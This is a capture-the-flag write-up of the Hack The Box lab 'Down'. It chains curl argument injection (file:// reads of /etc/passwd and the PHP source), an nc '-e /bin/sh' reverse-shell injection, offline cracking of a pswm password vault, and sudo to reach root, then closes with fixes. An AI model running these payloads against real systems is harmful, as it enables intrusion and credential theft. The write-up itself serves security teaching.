HTB: Down
Down is an easy Linux box (the first VulnLab → HTB migration) that hinges on a single primitive: escapeshellcmd() stops command injection but does nothing about argument injection. A website-uptime checker shells out to curl and nc with user input glued into the command string. I abuse curl’s multi-URL handling to read arbitrary files, recover the PHP source, then abuse an intval()/original-string validation gap in an “expert mode” to inject -e /bin/sh into nc for a shell. Root falls out of a cracked pswm vault (scrypt + AES-GCM) and a wide-open sudo rule.
Path to root, at a glance:
- Inject a curl argument → read arbitrary files → dump the PHP source.
- Read the source → find a hidden
expertmodethat runsncwith a validation bug. - Inject
-e /bin/shintonc→ shell aswww-data. - Loot a
pswmpassword vault → crack it offline → password foraleks. alekshas fullsudo→ root.
nmap
┌──(pwn㉿pwn)-[~/HTB] |
OpenSSH 8.9p1 + Apache 2.4.52 → Ubuntu 22.04 (jammy). Neither version buys anything; the web app is the target.
The app
index.php takes a URL and reports whether the site is up. Point it at your own listener and you see how it fetches:
> nc -nvlp 80 |
So the app runs something like curl -s <your input>. First instinct is command injection — try http://localhost; whoami, | id, && ping, etc. None of it fires. So the app is escaping shell metacharacters. But escaping metacharacters is not the same as escaping arguments.
Argument injection → file read
Prove we control curl’s argv by injecting its own help flag:
http://127.0.0.1 -h |
The response comes back full of curl’s usage text — our input is being parsed as curl options. Now weaponize it. curl fetches multiple URLs in sequence, so pass a dummy HTTP URL to satisfy the ^https?:// check, a space, then a file:// read:
http://127.0.0.1/ file:///etc/hostname |
http://127.0.0.1/ file:///etc/passwd |
From /etc/passwd: two real users, root and aleks.
Reading the source
Grab the app source through the same primitive:
http://127.0.0.1/ file:///var/www/html/index.php |
Two request handlers. The normal one is the curl branch we already abused. The interesting one is gated behind a hidden GET parameter, ?expertmode=tcp:
|
The bug is the gap between (1) and (2):
- The port is validated after
intval(). - The original string — not the validated int — is what gets put in the command.
intval() reads a leading number and stops at the first non-digit:
php > echo intval("1234 -e /bin/sh"); // => 1234, passes FILTER_VALIDATE_INT |
So 1234 -e /bin/sh passes validation, then gets spliced straight into the nc command. Same escapeshellcmd as before → same argument-injection weakness. And this nc build supports -e, which runs a program on connect. That’s our shell.
Shell as www-data
The port field is <input type="number">, but that’s client-side only — send the request directly. Enable expert mode with ?expertmode=tcp and inject into port:
# Listener |
POST /index.php?expertmode=tcp |
The server runs nc -vz <your-ip> 443 -e /bin/sh and connects back. Stabilize:
python3 -c 'import pty; pty.spawn("/bin/bash")' |
User flag: /var/www/html/user_*.txt.
Privilege escalation: the pswm vault
www-data can partially read aleks’ home:
find /home/aleks -type f 2>/dev/null |
pswm is Julynx’s CLI password manager. The vault:
e9laWoKiJ0Od...kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ== |
Four *-separated base64 fields — the signature of the cryptocode library.
What the format actually is
The fields are ciphertext * salt * nonce * tag, and the scheme is:
key = scrypt(master_password, salt, N=2**14, r=8, p=1, dklen=32) |
The point that makes cracking clean: the GCM tag is a correctness oracle. A wrong master password derives a wrong key, decrypt_and_verify fails the tag, and cryptocode.decrypt returns False — never a false positive. So the crack loop is just: try password → cryptocode.decrypt → truthy means we’re in.
Cracking it
pswm uses cryptocode under the hood, so the simplest reliable cracker calls the same library the target does — feed it the vault and a wordlist, and let the GCM tag decide each guess. prettytable just renders the recovered alias/username/password rows:
import cryptocode |
$ python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt |
flower is near the top of rockyou, so it lands almost immediately. The vault hands us aleks’ login password.
scrypt with
N=2**14is deliberately memory-hard (~16 MB/attempt), so a serial loop is fine here only because the master password is a top-rockyou hit. Against a stronger password you’d want to parallelise across cores and skip thecryptocodeimport overhead by calling PyCryptodome directly.
Root
ssh aleks@$TARGET # password: 1uY3w22uc-Wr{xNHR~+E |
Full sudo, no restrictions. Grab root.txt.
Why it worked (three fixes)
escapeshellcmd()≠escapeshellarg(). The first blocks shell metacharacters but leaves-alone, so any binary behind it is open to flag injection. User input that becomes a single argument needsescapeshellarg(), plus--to end option parsing.- Validate the value you actually use. The
intval(port)‘→validate→use−‘port)→ validate → use-port)‘→validate→use−‘portgap is the nc injection. Re-assign the sanitized int (port=(int)port = (int) port=(int)port;) before it touches the command. - A leaked GCM vault is an offline password oracle. The authenticity tag doubles as the “is this the right key” check, so the only thing between a stolen vault and its contents is the KDF cost — defeated here by a weak master password.





